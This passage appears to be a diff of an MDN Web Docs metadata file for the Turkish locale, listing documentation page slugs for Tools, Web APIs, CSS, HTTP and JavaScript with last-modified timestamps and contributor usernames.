- "sanzak", - "zkanoca", - "engineermetin" - ] - }, - "MDN/Contribute/Howto": { - "modified": "2019-01-17T00:25:24.785Z", - "contributors": [ - "wbamberg", - "fanatikhamsi", - "jswisher" - ] - }, - "MDN/Contribute/Howto/Create_and_edit_pages": { - "modified": "2020-10-12T07:44:14.475Z", - "contributors": [ - "SphinxKnight", - "eminboynukara", - "alpegrup", - "pazzers.info", - "wbamberg", - "erhankilic" - ] - }, - "MDN/Tools": { - "modified": "2020-09-30T16:54:34.254Z", - "contributors": [ - "chrisdavidmills", - "wbamberg" - ] - }, - "MDN/Tools/KumaScript/Troubleshooting": { - "modified": "2020-04-14T08:39:36.193Z", - "contributors": [ - "SphinxKnight", - "orhanfide1965", - "2.HALLAÇ", - "wbamberg", - "hrctelekom" - ] - }, - "MDN/Yari": { - "modified": "2019-09-11T08:38:17.228Z", - "contributors": [ - "SphinxKnight", - "wbamberg", - "Sheppy" - ] - }, - "Mozilla": { - "modified": "2019-03-23T23:29:09.914Z", - "contributors": [ - "Sheppy" - ] - }, - "Mozilla/Add-ons": { - "modified": "2019-09-09T12:16:58.836Z", - "contributors": [ - "SphinxKnight", - "EfoliTR", - "akyakaapart", - "pasalog", - "Fatih." - ] - }, - "Mozilla/Add-ons/WebExtensions": { - "modified": "2020-01-23T19:11:12.389Z", - "contributors": [ - "2.HALLAÇ", - "CakirSualp", - "mesutgolcuk", - "tufan2005", - "mutouk" - ] - }, - "Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools": { - "modified": "2020-04-18T10:07:00.995Z", - "contributors": [ - "OnKoydenKovuldum", - "2.HALLAÇ" - ] - }, - "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": { - "modified": "2019-03-30T13:49:03.756Z", - "contributors": [ - "aceylan" - ] - }, - "Mozilla/Add-ons/WebExtensions/Your_first_WebExtension": { - "modified": "2019-08-06T17:02:11.469Z", - "contributors": [ - "mesutgolcuk" - ] - }, - "Mozilla/Add-ons/WebExtensions/user_interface": { - "modified": "2020-01-23T18:36:25.194Z", - "contributors": [ - "2.HALLAÇ" - ] - }, - "Mozilla/Firefox": { - "modified": "2019-09-10T15:02:32.288Z", - "contributors": [ - "SphinxKnight", - "wbamberg", - "tufan2005", - "Relax07" - ] - }, - "Mozilla/Firefox/Releases": { - "modified": "2019-01-16T21:55:24.648Z", - "contributors": [ - "wbamberg", - "jswisher" - ] - }, - "Mozilla/Firefox/Releases/63": { - "modified": "2019-03-18T21:29:50.145Z", - "contributors": [ - "tufan2005" - ] - }, - "Mozilla/Firefox/Releases/81": { - "modified": "2020-09-23T12:11:08.193Z", - "contributors": [ - "solmusgul17" - ] - }, - "Tools": { - "modified": "2020-07-16T22:44:18.586Z", - "contributors": [ - "OnKoydenKovuldum", - "2.HALLAÇ", - "SphinxKnight", - "trabjeb", - "fanatikhamsi", - "kizinteki", - "saidkocdemir", - "pasalog", - "eytanfb", - "teoli", - "ibrahimpatir", - "techexpert" - ] - }, - "Tools/Browser_Console": { - "modified": "2020-07-16T22:35:43.041Z", - "contributors": [ - "muhammet7661" - ] - }, - "Tools/Debugger": { - "modified": "2020-07-16T22:35:06.533Z", - "contributors": [ - "aslihana", - "olgakaragedik" - ] - }, - "Tools/Page_Inspector": { - "modified": "2020-10-01T11:04:52.366Z", - "contributors": [ - "SphinxKnight", - "saimairjet", - "ersengultepe" - ] - }, - "Tools/Performance": { - "modified": "2020-07-16T22:36:13.964Z", - "contributors": [ - "OnKoydenKovuldum" - ] - }, - "Tools/Remote_Debugging": { - "modified": "2020-07-16T22:35:38.272Z", - "contributors": [ - "volkan" - ] - }, - "Tools/Web_Console": { - "modified": "2020-07-16T22:34:09.874Z", - "contributors": [ - "OnKoydenKovuldum", - "aslihana" - ] - }, - "Tools/Web_Console/Rich_output": { - "modified": "2020-07-16T22:34:20.562Z", - "contributors": [ - "aslihana" - ] - }, - "Tools/Web_Console/Split_console": { - "modified": "2020-07-16T22:34:21.412Z", - "contributors": [ - "aslihana" - ] - }, - "Tools/Web_Console/The_command_line_interpreter": { - "modified": "2020-07-16T22:34:19.826Z", - "contributors": [ - "aslihana" - ] - }, - "Tools/Web_Console/UI_Tour": { - "modified": "2020-07-16T22:34:17.660Z", - "contributors": [ - "aslihana" - ] - }, - "Web": { - "modified": "2019-03-25T10:14:11.494Z", - "contributors": [ - "hsynozkara", - "alpr", - "barankurtulusozan", - "ozhankurkcu", - "umutozdemir97", - "trabjeb", - "bysalih", - "ercanersoy", - "Criexe", - "askn", - "techexpert", - "ramesaliyev", - "Jan.Ruzicka" - ] - }, - "Web/API": { - "modified": "2020-05-24T01:51:32.509Z", - "contributors": [ - "akarsumelisa17", - "OnKoydenKovuldum", - "2.HALLAÇ", - "Aqmhkf", - "teoli", - "ozgrozer" - ] - }, - "Web/API/BeforeUnloadEvent": { - "modified": "2020-10-15T22:34:36.602Z", - "contributors": [ - "yildirimzia" - ] - }, - "Web/API/CSS_Object_Model": { - "modified": "2019-03-18T21:09:36.757Z", - "contributors": [ - "mesutgolcuk", - "aligoren" - ] - }, - "Web/API/CSS_Object_Model/Managing_screen_orientation": { - "modified": "2019-03-18T21:09:36.484Z", - "contributors": [ - "mesutgolcuk" - ] - }, - "Web/API/Canvas_API": { - "modified": "2019-03-18T21:29:21.484Z", - "contributors": [ - "alpr" - ] - }, - "Web/API/Comment": { - "modified": "2020-10-15T22:34:30.534Z", - "contributors": [ - "sideshowbarker" - ] - }, - "Web/API/Comment/Comment": { - "modified": "2020-10-15T22:34:30.407Z", - "contributors": [ - "govher.hesretli" - ] - }, - "Web/API/Document_Object_Model": { - "modified": "2019-04-02T11:24:00.407Z", - "contributors": [ - "9999472" - ] - }, - "Web/API/Document_Object_Model/Introduction": { - "modified": "2020-06-21T09:35:43.453Z", - "contributors": [ - "bizimsiti" - ] - }, - "Web/API/Event": { - "modified": "2020-10-15T22:11:43.505Z", - "contributors": [ - "pcat" - ] - }, - "Web/API/EventTarget": { - "modified": "2019-03-23T22:24:43.260Z", - "contributors": [ - "Marsf" - ] - }, - "Web/API/EventTarget/addEventListener": { - "modified": "2020-10-15T22:31:10.154Z", - "contributors": [ - "cmlttnts" - ] - }, - "Web/API/EventTarget/removeEventListener": { - "modified": "2019-04-04T18:11:11.703Z", - "contributors": [ - "aykutkardas", - "emrehayirci" - ] - }, - "Web/API/FileReader": { - "modified": "2019-03-23T22:49:27.335Z", - "contributors": [ - "Sebastianz" - ] - }, - "Web/API/FileSystem": { - "modified": "2019-03-23T22:09:06.480Z", - "contributors": [ - "aligoren" - ] - }, - "Web/API/HTMLElement": { - "modified": "2020-10-15T22:14:28.662Z", - "contributors": [ - "mfluehr" - ] - }, - "Web/API/HTMLElement/click": { - "modified": "2020-10-15T22:14:20.700Z", - "contributors": [ - "ouzkagan" - ] - }, - "Web/API/HTMLImageElement": { - "modified": "2019-03-18T21:42:51.922Z", - "contributors": [ - "trusktr" - ] - }, - "Web/API/HTMLImageElement/Image": { - "modified": "2019-03-18T21:42:46.488Z", - "contributors": [ - "aligoren" - ] - }, - "Web/API/IDBIndex": { - "modified": "2019-03-23T22:07:35.558Z", - "contributors": [ - "jpmedley" - ] - }, - "Web/API/IDBIndex/getAll": { - "modified": "2019-03-23T22:07:45.829Z", - "contributors": [ - "diloabininyeri" - ] - }, - "Web/API/MutationObserver": { - "modified": "2019-03-23T22:08:54.225Z", - "contributors": [ - "myteril" - ] - }, - "Web/API/Node": { - "modified": "2020-10-15T22:29:42.646Z", - "contributors": [ - "Zearin_Galaurum" - ] - }, - "Web/API/Storage": { - "modified": "2019-03-23T22:41:12.354Z", - "contributors": [ - "ercanersoy" - ] - }, - "Web/API/WebGL_API": { - "modified": "2019-03-18T21:39:56.129Z", - "contributors": [ - "ahmetkilinc" - ] - }, - "Web/API/WebSocket": { - "modified": "2020-10-15T22:16:05.335Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/WebSocket": { - "modified": "2020-10-15T22:16:04.997Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/binaryType": { - "modified": "2020-10-15T22:16:01.969Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/close": { - "modified": "2020-10-15T22:16:09.143Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/extensions": { - "modified": "2020-10-15T22:16:04.846Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/onclose": { - "modified": "2019-03-18T20:31:59.866Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/onerror": { - "modified": "2020-10-15T22:16:04.926Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/onmessage": { - "modified": "2020-10-15T22:16:07.469Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/onopen": { - "modified": "2020-10-15T22:16:07.494Z", - "contributors": [ - "Mr.Chenzm", - "Yukani" - ] - }, - "Web/API/WebSocket/protocol": { - "modified": "2020-10-15T22:16:07.532Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/readyState": { - "modified": "2020-10-15T22:16:07.490Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/WebSocket/url": { - "modified": "2020-10-15T22:16:07.508Z", - "contributors": [ - "Yukani" - ] - }, - "Web/API/Window": { - "modified": "2019-03-23T22:12:02.013Z", - "contributors": [ - "chrisdavidmills" - ] - }, - "Web/API/Window/opener": { - "modified": "2020-10-15T22:20:36.891Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/Accessibility": { - "modified": "2020-05-04T18:06:45.783Z", - "contributors": [ - "kuleliajans", - "emre2324" - ] - }, - "Web/Accessibility/Understanding_WCAG": { - "modified": "2020-01-31T15:46:37.931Z" - }, - "Web/Accessibility/Understanding_WCAG/Keyboard": { - "modified": "2020-01-31T15:46:38.770Z", - "contributors": [ - "muhammet7661" - ] - }, - "Web/CSS": { - "modified": "2020-09-30T05:40:46.604Z", - "contributors": [ - "hakantr", - "eyuzgul", - "MukerremAkkoyun", - "saidkocdemir", - "pasalog", - "aydinkuloglu", - "onurtemizkan", - "emredemircan" - ] - }, - "Web/CSS/::first-letter": { - "modified": "2020-10-15T22:33:17.182Z", - "contributors": [ - "gartun" - ] - }, - "Web/CSS/:active": { - "modified": "2020-10-15T22:03:59.852Z", - "contributors": [ - "cengizhan.peker" - ] - }, - "Web/CSS/:first-of-type": { - "modified": "2019-03-23T22:11:00.891Z", - "contributors": [ - "ceylanabdullah" - ] - }, - "Web/CSS/:focus": { - "modified": "2020-12-06T15:29:23.997Z", - "contributors": [ - "hakantr" - ] - }, - "Web/CSS/:last-child": { - "modified": "2019-03-23T22:11:15.450Z", - "contributors": [ - "ferhat" - ] - }, - "Web/CSS/:link": { - "modified": "2020-12-06T15:27:57.965Z", - "contributors": [ - "hakantr" - ] - }, - "Web/CSS/:not": { - "modified": "2019-05-06T08:48:57.024Z", - "contributors": [ - "mahmutduva", - "enesfnd" - ] - }, - "Web/CSS/:root": { - "modified": "2020-10-15T22:00:42.688Z", - "contributors": [ - "ahmetkaba" - ] - }, - "Web/CSS/@import": { - "modified": "2019-03-23T22:05:30.123Z", - "contributors": [ - "altug" - ] - }, - "Web/CSS/CSS_Background_and_Borders/Box-shadow_generator": { - "modified": "2019-05-06T08:15:45.844Z", - "contributors": [ - "raufsamestone" - ] - }, - "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": { - "modified": "2019-03-23T22:52:01.740Z", - "contributors": [ - "cenkingunlugu" - ] - }, - "Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters": { - "modified": "2019-03-23T23:10:52.329Z", - "contributors": [ - "Criexe" - ] - }, - "Web/CSS/CSS_Selectors": { - "modified": "2020-10-08T05:31:05.552Z", - "contributors": [ - "hakantr" - ] - }, - "Web/CSS/Class_selectors": { - "modified": "2019-03-23T22:27:43.298Z", - "contributors": [ - "pasalog" - ] - }, - "Web/CSS/Reference": { - "modified": "2019-03-23T23:16:58.752Z", - "contributors": [ - "cengizhan.peker", - "IamEmreCelik", - "pasalog", - "MOSD", - "emredemircan" - ] - }, - "Web/CSS/Type_selectors": { - "modified": "2019-03-23T22:27:57.140Z", - "contributors": [ - "pasalog" - ] - }, - "Web/CSS/background": { - "modified": "2020-10-15T22:13:04.157Z", - "contributors": [ - "adenrulz" - ] - }, - "Web/CSS/background-color": { - "modified": "2020-10-15T22:15:03.007Z", - "contributors": [ - "esbabaes" - ] - }, - "Web/CSS/display": { - "modified": "2019-03-23T22:34:43.185Z", - "contributors": [ - "wbamberg", - "cengizhan.peker", - "fscholz", - "pasalog" - ] - }, - "Web/CSS/font-size": { - "modified": "2020-10-15T22:30:14.940Z", - "contributors": [ - "caglaromer", - "Berkay-Cubuk" - ] - }, - "Web/CSS/margin": { - "modified": "2019-03-23T22:21:17.959Z", - "contributors": [ - "asanhix" - ] - }, - "Web/CSS/right": { - "modified": "2019-03-23T23:01:45.151Z", - "contributors": [ - "Sebastianz", - "fscholz", - "mehmetavsar" - ] - }, - "Web/CSS/shape-outside": { - "modified": "2020-11-03T16:13:12.230Z", - "contributors": [ - "hakantr" - ] - }, - "Web/Demos_of_open_web_technologies": { - "modified": "2019-03-23T22:38:02.289Z", - "contributors": [ - "NoOneIsUsingThis", - "nadiraltinbas" - ] - }, - "Web/Guide": { - "modified": "2020-01-23T19:00:24.014Z", - "contributors": [ - "2.HALLAÇ", - "uleming" - ] - }, - "Web/Guide/AJAX": { - "modified": "2020-04-18T10:59:30.654Z", - "contributors": [ - "OnKoydenKovuldum", - "chrisdavidmills", - "Antivir" - ] - }, - "Web/Guide/Graphics": { - "modified": "2019-03-18T21:29:11.131Z", - "contributors": [ - "alpr" - ] - }, - "Web/Guide/HTML/HTML5": { - "modified": "2020-02-13T03:31:34.810Z", - "contributors": [ - "SphinxKnight", - "alvidaverona", - "beehappycorp", - "teoli", - "saidkocdemir", - "asliturk" - ] - }, - "Web/HTML": { - "modified": "2020-11-19T16:28:37.122Z", - "contributors": [ - "burakizmirli252", - "karagozber", - "kuleliajans", - "SphinxKnight" - ] - }, - "Web/HTML/Element": { - "modified": "2019-09-11T09:05:26.771Z", - "contributors": [ - "SphinxKnight", - "SukruKaya", - "teoli" - ] - }, - "Web/HTML/Element/aside": { - "modified": "2019-09-11T09:05:24.353Z", - "contributors": [ - "SphinxKnight", - "Darkefel" - ] - }, - "Web/HTML/Element/head": { - "modified": "2020-10-15T22:33:45.296Z", - "contributors": [ - "Amidfl" - ] - }, - "Web/HTML/Element/hgroup": { - "modified": "2020-10-15T22:24:41.950Z", - "contributors": [ - "cansuari" - ] - }, - "Web/HTML/Element/li": { - "modified": "2019-09-11T09:05:27.766Z", - "contributors": [ - "SphinxKnight", - "pasalog" - ] - }, - "Web/HTML/Element/link": { - "modified": "2020-10-15T22:25:51.442Z", - "contributors": [ - "BaRaN6161_TURK" - ] - }, - "Web/HTTP": { - "modified": "2020-06-18T23:31:39.971Z", - "contributors": [ - "yagicandegirmenci", - "berkansasmaz", - "gulan_gurman", - "minel", - "DevTahsin", - "erolkeskin" - ] - }, - "Web/HTTP/CORS": { - "modified": "2020-10-15T22:13:56.598Z", - "contributors": [ - "AhmetGurbuzz", - "hsntngr2" - ] - }, - "Web/HTTP/CORS/Errors": { - "modified": "2019-06-29T01:28:26.978Z" - }, - "Web/HTTP/CORS/Errors/CORSRequestNotHttp": { - "modified": "2019-07-01T04:02:13.353Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/HTTP/Content_negotiation": { - "modified": "2019-07-09T17:01:03.750Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/HTTP/Cookies": { - "modified": "2019-07-09T17:25:58.223Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/HTTP/Headers": { - "modified": "2020-03-01T16:31:58.724Z", - "contributors": [ - "t3k3", - "kyilmaz80", - "gulan_gurman", - "chrisdavidmills" - ] - }, - "Web/HTTP/Headers/Accept": { - "modified": "2020-10-15T22:26:11.516Z", - "contributors": [ - "ahmetelgun", - "2.HALLAÇ" - ] - }, - "Web/HTTP/Headers/Accept-Language": { - "modified": "2020-10-15T22:20:41.505Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/HTTP/Headers/Cookie": { - "modified": "2020-10-15T22:20:51.369Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/HTTP/Headers/X-XSS-Protection": { - "modified": "2020-10-15T21:57:15.477Z", - "contributors": [ - "ccsplit" - ] - }, - "Web/HTTP/Methods": { - "modified": "2020-10-15T22:20:53.566Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/HTTP/Session": { - "modified": "2019-07-09T17:13:29.470Z", - "contributors": [ - "gulan_gurman" - ] - }, - "Web/HTTP/Status": { - "modified": "2020-08-24T18:10:50.113Z", - "contributors": [ - "elawhitestone", - "tugsanunlu", - "gulan_gurman", - "mgold" - ] - }, - "Web/HTTP/Status/200": { - "modified": "2020-10-15T22:07:42.849Z", - "contributors": [ - "ahmeterenyildirim.com.tr", - "haruntuncay" - ] - }, - "Web/HTTP/Status/205": { - "modified": "2020-02-27T22:54:58.046Z", - "contributors": [ - "Fokyar" - ] - }, - "Web/HTTP/Status/301": { - "modified": "2020-10-15T22:30:52.732Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/302": { - "modified": "2020-10-15T22:30:59.848Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/400": { - "modified": "2020-06-21T18:45:02.972Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/401": { - "modified": "2020-10-15T22:30:53.376Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/402": { - "modified": "2020-10-15T22:30:54.594Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/403": { - "modified": "2020-10-15T22:30:53.667Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/404": { - "modified": "2020-10-15T22:30:52.246Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/405": { - "modified": "2020-06-21T18:50:09.348Z", - "contributors": [ - "tugsanunlu", - "gulan_gurman" - ] - }, - "Web/HTTP/Status/418": { - "modified": "2020-10-15T22:30:55.657Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/HTTP/Status/500": { - "modified": "2020-10-15T21:56:58.227Z", - "contributors": [ - "ahmetcanaydemir" - ] - }, - "Web/JavaScript": { - "modified": "2020-03-12T19:38:02.900Z", - "contributors": [ - "SphinxKnight", - "kdex", - "pasalog", - "ozcanzaferayan", - "saidkocdemir", - "ercanersoy", - "halil", - "teoli", - "askn", - "asliturk", - "Emir", - "techexpert", - "ramesaliyev", - "halilkoca" - ] - }, - "Web/JavaScript/A_re-introduction_to_JavaScript": { - "modified": "2020-03-12T19:37:53.865Z", - "contributors": [ - "FarukKaradeniz", - "Erenoz", - "ozankaraali", - "modularica", - "teoli", - "askn", - "berkerpeksag" - ] - }, - "Web/JavaScript/Data_structures": { - "modified": "2020-03-12T19:48:25.304Z", - "contributors": [ - "ondrhn", - "BarisAyaz" - ] - }, - "Web/JavaScript/Guide": { - "modified": "2020-03-12T19:39:15.666Z", - "contributors": [ - "nuraix", - "HeyDouglas", - "kirpii", - "umutozdemir97", - "ozcanzaferayan", - "pasalog", - "teoli", - "SphinxKnight" - ] - }, - "Web/JavaScript/Guide/Control_flow_and_error_handling": { - "modified": "2020-04-23T07:57:40.916Z", - "contributors": [ - "ahmetcadirci25", - "kahilkubilay", - "ozcanzaferayan", - "pasalog", - "teoli", - "onderomega" - ] - }, - "Web/JavaScript/Guide/Details_of_the_Object_Model": { - "modified": "2020-03-12T19:49:05.589Z", - "contributors": [ - "volkansag" - ] - }, - "Web/JavaScript/Guide/Functions": { - "modified": "2020-03-12T19:45:10.072Z", - "contributors": [ - "rizikolik", - "meryem", - "mrtymy", - "HuseyinTurkmenoglu", - "abdullahoguk", - "ozcanzaferayan" - ] - }, - "Web/JavaScript/Guide/Grammar_and_types": { - "modified": "2020-03-12T19:42:41.805Z", - "contributors": [ - "kahilkubilay", - "pasalog", - "fanatikhamsi", - "ozcanzaferayan" - ] - }, - "Web/JavaScript/Guide/Introduction": { - "modified": "2020-03-12T19:42:33.808Z", - "contributors": [ - "turquoisemelon", - "ozcanzaferayan", - "umutozdemir97", - "cihantuncer", - "pasalog" - ] - }, - "Web/JavaScript/Guide/Loops_and_iteration": { - "modified": "2020-08-24T10:57:50.779Z", - "contributors": [ - "erhanersoz", - "kahilkubilay", - "ozcanzaferayan", - "ozgrozer" - ] - }, - "Web/JavaScript/Guide/Working_with_Objects": { - "modified": "2020-03-12T19:49:40.091Z", - "contributors": [ - "burak-selvi" - ] - }, - "Web/JavaScript/Inheritance_and_the_prototype_chain": { - "modified": "2020-05-23T12:12:22.330Z", - "contributors": [ - "utscoldchain" - ] - }, - "Web/JavaScript/Language_Resources": { - "modified": "2020-04-18T08:47:04.601Z", - "contributors": [ - "OnKoydenKovuldum" - ] - }, - "Web/JavaScript/Memory_Management": { - "modified": "2020-03-12T19:49:51.593Z", - "contributors": [ - "kadirincedev" - ] - }, - "Web/JavaScript/Reference": { - "modified": "2020-03-12T19:38:37.113Z", - "contributors": [ - "teoli", - "SukruKaya", - "ramesaliyev", - "raztus" - ] - }, - "Web/JavaScript/Reference/Classes": { - "modified": "2020-03-12T19:43:09.866Z", - "contributors": [ - "albatigris", - "eyaylagul", - "SelimAbidin", - "canbax", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Classes/static": { - "modified": "2020-03-12T19:43:12.944Z", - "contributors": [ - "hwclass" - ] - }, - "Web/JavaScript/Reference/Errors": { - "modified": "2020-03-12T19:46:42.742Z", - "contributors": [ - "Sheppy" - ] - }, - "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": { - "modified": "2020-03-12T19:46:41.022Z", - "contributors": [ - "barankurtulusozan" - ] - }, - "Web/JavaScript/Reference/Functions": { - "modified": "2020-10-15T21:59:53.913Z", - "contributors": [ - "stephaniehobson" - ] - }, - "Web/JavaScript/Reference/Functions/Arrow_functions": { - "modified": "2020-10-15T21:59:53.816Z", - "contributors": [ - "ArinSoftware", - "eyuzgul", - "ozanduman" - ] - }, - "Web/JavaScript/Reference/Global_Objects": { - "modified": "2020-03-12T19:38:42.154Z", - "contributors": [ - "erhan35", - "teoli", - "ramesaliyev", - "Sheppy" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array": { - "modified": "2020-10-15T21:25:15.356Z", - "contributors": [ - "advancel", - "SphinxKnight", - "ulassenol", - "wbamberg", - "cevherkarakoc", - "ozanduman", - "maydemirx", - "pasalog", - "teoli", - "ramesaliyev" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/concat": { - "modified": "2019-03-23T23:24:49.511Z", - "contributors": [ - "hcoz", - "teoli", - "ramesaliyev" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/entries": { - "modified": "2019-03-23T22:19:30.442Z", - "contributors": [ - "maydemirx" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/every": { - "modified": "2020-10-15T22:21:26.669Z", - "contributors": [ - "gmertt" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/filter": { - "modified": "2020-10-15T22:13:55.765Z", - "contributors": [ - "hsynozkara" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/find": { - "modified": "2020-10-15T21:56:43.487Z", - "contributors": [ - "EsraAkyurt", - "ahalkaya" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/findIndex": { - "modified": "2020-10-15T22:07:02.626Z", - "contributors": [ - "serkaneken" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/forEach": { - "modified": "2020-10-15T22:08:31.986Z", - "contributors": [ - "hdereli", - "umitemre" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/from": { - "modified": "2019-08-10T20:03:37.484Z", - "contributors": [ - "ozkozturk", - "maydemirx" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/includes": { - "modified": "2020-10-15T21:58:52.132Z", - "contributors": [ - "koca" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/indexOf": { - "modified": "2019-07-18T07:38:14.466Z", - "contributors": [ - "Umut", - "Gaslan", - "maydemirx", - "jwhitlock", - "olorinmello" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/isArray": { - "modified": "2019-03-23T22:30:56.504Z", - "contributors": [ - "maydemirx", - "h4yfans" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/join": { - "modified": "2020-10-15T22:13:40.159Z", - "contributors": [ - "hsntngr" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/length": { - "modified": "2019-03-23T22:19:57.928Z", - "contributors": [ - "maydemirx" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/map": { - "modified": "2020-10-15T22:05:22.754Z", - "contributors": [ - "oyilmaztekin", - "Gaslan" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/of": { - "modified": "2020-10-15T22:09:55.252Z", - "contributors": [ - "emiralpseniz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/pop": { - "modified": "2020-10-15T22:25:44.686Z", - "contributors": [ - "4hmetuyar" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/push": { - "modified": "2019-03-23T22:51:14.006Z", - "contributors": [ - "molgun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/reverse": { - "modified": "2020-10-15T22:22:48.541Z", - "contributors": [ - "sadikkaplan", - "CankatSoysal" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/shift": { - "modified": "2020-10-15T22:01:57.557Z", - "contributors": [ - "caglaror" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/sort": { - "modified": "2020-10-15T22:29:15.377Z", - "contributors": [ - "Berkay-Cubuk", - "ArinSoftware" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/splice": { - "modified": "2020-10-15T22:02:37.278Z", - "contributors": [ - "ArinSoftware", - "ahmetomer" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/unshift": { - "modified": "2020-10-15T22:23:34.934Z", - "contributors": [ - "YusufemreK" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/values": { - "modified": "2020-10-15T22:04:26.767Z", - "contributors": [ - "NizamettinTemel" - ] - }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { - "modified": "2019-03-23T22:15:49.591Z", - "contributors": [ - "gokseld7" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean": { - "modified": "2020-10-15T22:01:56.584Z", - "contributors": [ - "tugcebaskan" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean/toSource": { - "modified": "2020-10-15T22:01:54.145Z", - "contributors": [ - "tugcebaskan" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function": { - "modified": "2019-03-23T22:23:15.040Z", - "contributors": [ - "maydemirx" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/apply": { - "modified": "2019-03-23T22:21:25.218Z", - "contributors": [ - "fyalavuz", - "MAXMASTER001", - "egulhan", - "fanatikhamsi", - "human241188" - ] - }, - "Web/JavaScript/Reference/Global_Objects/JSON": { - "modified": "2020-10-15T22:01:10.638Z", - "contributors": [ - "ahmetkilinc" - ] - }, - "Web/JavaScript/Reference/Global_Objects/JSON/stringify": { - "modified": "2020-10-15T22:07:18.040Z", - "contributors": [ - "yusufunlu" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Map": { - "modified": "2020-10-15T22:04:31.537Z", - "contributors": [ - "Hixhi" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math": { - "modified": "2020-10-15T22:30:17.573Z", - "contributors": [ - "jecamilosevic899" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/sign": { - "modified": "2020-10-15T22:30:10.316Z", - "contributors": [ - "tugsanunlu" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object": { - "modified": "2019-03-18T20:59:02.466Z", - "contributors": [ - "wbamberg", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/assign": { - "modified": "2020-02-29T19:45:55.862Z", - "contributors": [ - "saitergun", - "tcetin" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": { - "modified": "2019-03-23T22:40:04.064Z", - "contributors": [ - "Aziz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/entries": { - "modified": "2020-10-15T22:08:07.778Z", - "contributors": [ - "emretapci" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/freeze": { - "modified": "2020-10-15T22:31:48.889Z", - "contributors": [ - "hsntngr2" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf": { - "modified": "2019-03-23T22:33:27.162Z", - "contributors": [ - "hkan" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/toString": { - "modified": "2019-03-23T22:49:29.241Z", - "contributors": [ - "jrsakizci" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/values": { - "modified": "2020-10-15T22:00:19.881Z", - "contributors": [ - "zuzu5132" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise": { - "modified": "2020-10-15T21:42:28.348Z", - "contributors": [ - "yildirimzia", - "eyuzgul", - "fscholz", - "seyhan", - "eih", - "muratoner", - "mrtduzgun" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/all": { - "modified": "2020-10-15T22:15:45.474Z", - "contributors": [ - "eyuzgul" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Promise/catch": { - "modified": "2020-10-15T22:15:46.708Z", - "contributors": [ - "eyuzgul" - ] - }, - "Web/JavaScript/Reference/Global_Objects/RegExp": 